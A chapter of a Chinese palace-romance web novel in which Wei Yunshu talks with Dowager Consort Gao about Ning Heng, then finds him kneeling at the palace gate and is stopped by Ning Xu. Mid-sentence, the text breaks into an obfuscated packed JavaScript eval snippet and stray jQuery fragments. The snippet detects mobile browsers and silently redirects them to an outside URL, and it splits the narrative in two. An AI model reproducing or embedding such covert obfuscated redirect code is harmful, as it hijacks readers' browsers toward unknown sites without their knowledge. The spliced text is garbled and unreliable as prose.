魏云姝不是没有见过高太妃。
只是不知为何,今夜再见,竟无端生出了几分说不清的疏离。
明明小时候,她还常悄悄跟在宁恒身后,溜进这宫里来玩。
有时馋了,还壮着胆子扯太妃的衣袖,讨一把松子糖吃。
往事依稀浮上眼底,她静静垂下眼。
也许……是因着太妃与宁恒那层说不破的关系,又也许,是今夜发生的一切太过突然。
她还没想好,该用怎样的心情去面对眼前的老者。
正在局促不安之际,又听到高太妃再次发话了。
只是这次却是笑了声:“瞧你这小丫头,从前胆子不是挺大的么,怎么反而大些了,倒变得扭扭捏捏起来?”
她微微向前倾身,故作生气问道:“怎么,是嫌我宫里没糖吃了,也不来我这坐了?”
高太妃并非拘泥迂腐之人,自然也不会和魏云姝一个小丫头计较。
“过来,让我好好看看你。”
这一次,是不容置疑的口吻,让魏云姝想要拒绝,都找不到借口。
她依言上前,应了声是,被高太妃伸手拉到了软榻上坐下。
“好孩子,你近来瘦了。”
“身子要紧啊,不好好吃饭怎么行。”
像是闲话家常,高太妃也不步入正题,只是慈爱看着她。
可语气里的深意,魏云姝又岂会听不出呢?
“恒儿…”
当这两个字从高太妃嘴里吐出,殿内烛火突然轻轻一跳。
四下似更静了几分,魏云姝手指在袖中微微蜷缩。
太妃这句突如其来的恒儿,让她心口猛地一紧。
可她依旧端坐着,始终让自己保持表面上的克制。
只听高太妃声音放得很轻,悠悠传到她耳中:“那孩子前日来瞧我…在我这儿坐了整整一个时辰,却始终心神不宁。”
“你们从小一起长大,他的性子,你是知道的,从来都是最沉稳不过的…”
太妃指尖轻轻捻动手里的佛珠,又缓缓道:“可那日...他一句话也不说,只是盯着窗外,看着实在可怜。”
“唉,说起来,只能怪造化弄人…”
高太妃末了,声音越来越低,殿内静得能听见烛芯噼啪的轻响。
魏云姝却垂着眼睫,盯着自己裙摆上绣着的缠枝莲纹。
那莲花绣得精致,每一针每一线都恰到好处,让她不自觉想起了,当初有一年盛夏,宁恒冒着大雨,亲手到湖边摘了一朵莲花。
那时候他浑身湿透了,雪白的衣衫上浸染泥水,少年真挚的笑,俨然如裙摆上的莲花。
出淤泥而不染,让她此刻回忆起来,仍旧记忆犹新。
“只是…你和他,哪怕成不了夫妻,本宫也不希望你们的情谊,就这么断送了…”
“这孩子,母妃走得早,好不容易得来的姻缘,也这么没了,怕是钻牛角尖,出不来…”
“可以的话,魏丫头你找个机会,劝劝他…”
高太妃絮絮叨叨说着,一边说,一边叹气。
“太妃娘娘。”魏云姝终于开口,声音有些发涩:“我明白的。”
她如何能不明白?
那场雨,那朵莲,那个浑身湿透却笑容灼灼的少年,早已刻进她的骨血里。
可正是这份明白,让她清楚地知道,此刻任何一句言语,于他而言,都比不过她和宁煦的婚约作废。
她这个时候出面,非但帮不了宁恒,只会让事情变得一团糟。
更何况…她每一步,也没有机会让她试错,她不能再冒险了。
更不能…再将宁恒牵扯进来,哪怕她告诉宁恒,她和宁煦婚约是假的,怕以他的性子,也无法忍受这样的屈辱。
眼睁睁看着她嫁做他人,只是不想连累任何人,他做不到!
可高太妃哪会知晓,她心里那样多的顾虑。
听她这么说,拍了拍她手背,露出欣慰的笑。
“好孩子,你明白就好。”
这夜,魏云姝并未宿在梅苑,而是高太妃让人将偏殿收拾出来,让她歇息在自己的寝宫。
可这夜,对她而言,注定是个不眠夜。
迷迷糊糊,也不知几时才睡着?
等到第二天一大早,人还未清醒过来,却惊闻天寿宫传来消息,宁恒竟为了她,跪在宫门请皇上收回成命。
魏云姝只感到一股凉意蔓延全身,混沌的脑子,猛地清醒过来。
“他……跪了多久?”她声音干涩,几乎听不出是自己的。
前来报信的宫女声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696836|188992||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发颤:“奴婢听说…好像是半夜就跪着了,应该是子夜过后。”
高太妃显然也得了消息,正由人扶着从正殿疾步而出。
她看见魏云姝煞白的脸,那声魏丫头,还未脱口而出。
便见她踉跄着下地,像是失了魂一样,就连她在身后唤,也置若罔闻。
——
魏云姝赶到天寿宫,远远便瞧见那抹熟悉的身影,跪在宫门外的甬道上。
她心头一紧,正要上前,却被伸出的一只手轻轻拦住。
不成想宁煦也在:“三娘。”
他声音低沉沙哑,带着几分难掩的愧疚。
清晰传到了她耳中:“抱歉,是煦不好,没能及时劝住皇兄。”
“你这个时候,最好莫要进去。”他微微侧身,拦住了魏云姝去路。
魏云姝下意识抬眼,只见他眼下泛着乌青,想必也是一夜未眠。
她已来不及思考,宁煦是何心思,可偏偏每次都那样凑巧?
一次又一次,出现在她眼前,可她只知晓,不能再让宁恒出事了。
“你…让开。”头一次,她对宁煦沉下脸,想要越过他。
声音虽不高,却掷地有声。
当然…宁煦也看出她眼里的不耐,却不等她走出两步。
在她身后说:“父皇…动了真怒。“
“金口已开,欲遣皇兄…即刻前往北疆,戍边反省。”
他喉结滚动,似在艰难地吞咽这个事实,“三娘贸然前往,非但帮不了皇兄…无疑是火上浇油,坐实了他为情抗旨的罪名!”
宁煦声音压得极低,却字字如冰锥,砸在魏云姝心上。
抗旨不遵,为情抗旨,不论是哪一个,都是足矣让她承受不起的天威震怒!
她脚步猛然顿住,身子一瞬僵在原地。
北疆苦寒之地,与其说是遣他反省,不如说是斩断她和他最后的情缘!
皇上还真是…用心良苦…
听闻这句话,像是压死骆驼的最后一根稻草,明明悲从心里,魏云姝却忽有些想笑。
宁煦见她面色煞白如纸,下意识欲伸手相扶,指尖将将触及她的衣袖,却又生生顿住,缓缓收回。
他垂下眼睫,那一瞬,将所有翻涌的情绪,掩在那一小片阴影之下。